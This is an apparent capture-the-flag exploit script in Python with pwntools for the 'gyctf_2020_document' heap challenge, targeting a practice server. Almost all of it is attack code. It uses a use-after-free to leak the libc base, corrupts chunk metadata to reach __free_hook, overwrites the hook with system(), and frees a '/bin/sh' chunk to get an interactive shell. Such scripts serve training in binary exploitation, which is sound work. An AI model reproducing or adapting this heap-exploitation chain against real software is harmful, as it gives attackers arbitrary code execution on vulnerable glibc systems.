from pwn import * import sys
arch = 64 challenge = "./gyctf_2020_document"
libc_path = '../libc-2.23.so'
def dbg(): context.log_level = 'debug'
def echo(content): print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")
def exp(): add("aaaaaaaa", "W", b"a" * 0x70) add("/bin/sh\x00", "W", b"/bin/sh\x00" * (0x70 // 0x8)) free(0) show(0) libc_base = uu64(ru("\x7f")[-6:]) - 88 - 0x10 - libc.sym["__malloc_hook"] echo("libc base: " + hex(libc_base)) add("aaaaaaaa", "W", b"a" * 0x70) add("aaaaaaaa", "W", b"a" * 0x70) __free_hook = libc_base + libc.sym["__free_hook"] payload = p64(0) + p64(0x21) + p64(__free_hook - 0x10) + p64(1) + p64(0) + p64(0x51) payload = payload.ljust(0x70, b'a') edit(0, "Y", payload) edit(3, "N", p64(libc_base + libc.sym["system"]).ljust(0x70, b'\x00'))
local = int(sys.argv[1]) elf = ELF(challenge) libc = ELF(libc_path)
context.os = 'linux' context.terminal = ['tmux', 'splitw', '-h']
if local: io = process(challenge,env = {"LD_PRELOAD":libc_path}) else: io = remote("node4.buuoj.cn", 25965)
if arch == 64: context.arch = 'amd64' elif arch == 32: context.arch = 'i386'
p = lambda : pause() s = lambda x : success(x) re = lambda m, t : io.recv(numb=m, timeout=t) ru = lambda x : io.recvuntil(x) rl = lambda : io.recvline() sd = lambda x : io.send(x) sl = lambda x : io.sendline(x) ia = lambda : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa = lambda a, b : io.sendafter(a, b) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00'))
_add,_free,_edit,_show = 1,4,3,2
def add(name, sex, content): sla("Give me your choice :", str(_add)) sa("input name", name) sa("input sex", sex) sa("input information", content)
def edit(idx, flag, content): sla("Give me your choice :", str(_edit)) sla("Give me your index :", str(idx)) sla("Are you sure change sex?", flag) sa("Now change information", content)
def free(idx): sla("Give me your choice :", str(_free)) sla("Give me your index :", str(idx))
def show(idx): sla("Give me your choice :", str(_show)) sla("Give me your index :", str(idx))
bps = [] pie = 1
def gdba(): if local == 0: return 0 cmd ='set follow-fork-mode parent\n' if pie: base = int(os.popen("pmap {}|awk '{{print $1}}'".format(io.pid)).readlines()[1],16) cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps]) cmd +='set $base={:#x}\n'.format(base) else: cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps]) gdb.attach(io,cmd)
exp() ia()
|